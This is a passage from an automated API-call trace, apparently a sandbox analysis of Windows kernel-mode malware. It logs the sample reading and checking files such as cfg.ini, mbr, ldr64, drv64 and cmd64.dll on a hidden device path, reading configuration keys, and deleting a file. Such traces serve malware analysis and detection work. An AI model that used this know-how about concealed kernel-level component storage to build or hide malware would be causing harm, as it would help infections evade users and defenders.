CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.246] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfa930 [0126.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.246] KeLeaveCriticalRegion () [0126.246] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.246] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.246] KeEnterCriticalRegion () [0126.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.246] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.246] KeLeaveCriticalRegion () [0126.246] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.246] KeEnterCriticalRegion () [0126.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.246] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.246] IdePortDispatch () returned 0x103 [0126.246] KeWaitForMutexObject () returned 0x0 [0126.246] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.247] KeLeaveCriticalRegion () [0126.247] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.247] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.247] KeEnterCriticalRegion () [0126.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.247] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034dd000 [0126.247] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.247] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.247] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.247] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.247] IdePortDispatch () returned 0x103 [0126.247] KeWaitForMutexObject () returned 0x0 [0126.247] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.247] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.247] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.247] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.247] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.247] IdePortDispatch () returned 0x103 [0126.247] KeWaitForMutexObject () returned 0x0 [0126.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.247] KeLeaveCriticalRegion () [0126.247] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.248] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.248] KeEnterCriticalRegion () [0126.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.248] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.248] KeLeaveCriticalRegion () [0126.248] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.248] KeEnterCriticalRegion () [0126.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.248] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.248] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.248] KeLeaveCriticalRegion () [0126.248] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.248] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.248] KeEnterCriticalRegion () [0126.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.248] ExFreePoolWithTag (P=0xfffffa8003bfa930, Tag=0x0) [0126.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.248] KeLeaveCriticalRegion () [0126.248] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.248] ReleaseMutex (hMutex=0xf0) returned 1 [0126.248] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.248] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.248] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.248] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.248] KeEnterCriticalRegion () [0126.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.248] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.248] IdePortDispatch () returned 0x103 [0126.248] KeWaitForMutexObject () returned 0x0 [0126.249] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.249] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.249] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.249] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.249] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.249] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.249] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.249] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.249] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.249] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.249] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.249] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.249] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.249] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.249] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.249] KeLeaveCriticalRegion () [0126.249] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.249] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.249] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.249] KeEnterCriticalRegion () [0126.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.249] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.249] IdePortDispatch () returned 0x103 [0126.249] KeWaitForMutexObject () returned 0x0 [0126.249] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.249] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.249] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.249] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.249] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.249] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.249] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.250] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.250] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.250] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.250] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.250] KeLeaveCriticalRegion () [0126.250] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.250] ReleaseMutex (hMutex=0x100) returned 1 [0126.250] Sleep (dwMilliseconds=0x2bf20) [0126.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e726fb0, dwHighDateTime=0x1d24fa4)) [0126.255] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.255] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.259] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.259] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.259] KeEnterCriticalRegion () [0126.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.259] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.259] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.259] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.259] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.259] IdePortDispatch () returned 0x103 [0126.259] KeWaitForMutexObject () returned 0x0 [0126.259] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.259] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.259] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.259] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.259] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.259] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec330 [0126.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.259] KeLeaveCriticalRegion () [0126.259] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.259] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.259] KeEnterCriticalRegion () [0126.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.259] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.259] KeLeaveCriticalRegion () [0126.259] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.259] KeEnterCriticalRegion () [0126.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.259] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.259] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.259] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.260] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.260] IdePortDispatch () returned 0x103 [0126.260] KeWaitForMutexObject () returned 0x0 [0126.260] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.260] KeLeaveCriticalRegion () [0126.260] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.260] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.260] KeEnterCriticalRegion () [0126.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.260] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003460000 [0126.260] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.260] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.260] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.260] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.260] IdePortDispatch () returned 0x103 [0126.260] KeWaitForMutexObject () returned 0x0 [0126.260] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.260] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.260] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.260] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.260] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.260] IdePortDispatch () returned 0x103 [0126.260] KeWaitForMutexObject () returned 0x0 [0126.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.261] KeLeaveCriticalRegion () [0126.261] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.261] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.261] KeEnterCriticalRegion () [0126.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.261] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.261] KeLeaveCriticalRegion () [0126.261] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.261] KeEnterCriticalRegion () [0126.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.261] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.261] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ec3f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.261] KeLeaveCriticalRegion () [0126.261] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.261] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.262] KeEnterCriticalRegion () [0126.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.262] ExFreePoolWithTag (P=0xfffffa80037ec330, Tag=0x0) [0126.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.262] KeLeaveCriticalRegion () [0126.262] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.262] ReleaseMutex (hMutex=0xf0) returned 1 [0126.262] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.265] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.265] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.265] KeEnterCriticalRegion () [0126.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.265] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.265] IdePortDispatch () returned 0x103 [0126.265] KeWaitForMutexObject () returned 0x0 [0126.265] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.265] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.265] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.265] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.265] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.265] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037dc380 [0126.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.265] KeLeaveCriticalRegion () [0126.265] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.265] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.265] KeEnterCriticalRegion () [0126.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.265] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.265] KeLeaveCriticalRegion () [0126.265] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.265] KeEnterCriticalRegion () [0126.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.265] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.265] IdePortDispatch () returned 0x103 [0126.266] KeWaitForMutexObject () returned 0x0 [0126.266] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.266] KeLeaveCriticalRegion () [0126.266] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.266] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.266] KeEnterCriticalRegion () [0126.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.266] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003462000 [0126.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.266] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.266] IdePortDispatch () returned 0x103 [0126.266] KeWaitForMutexObject () returned 0x0 [0126.266] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.266] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.266] IdePortDispatch () returned 0x103 [0126.266] KeWaitForMutexObject () returned 0x0 [0126.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.267] KeLeaveCriticalRegion () [0126.267] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.267] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.267] KeEnterCriticalRegion () [0126.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.267] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.267] KeLeaveCriticalRegion () 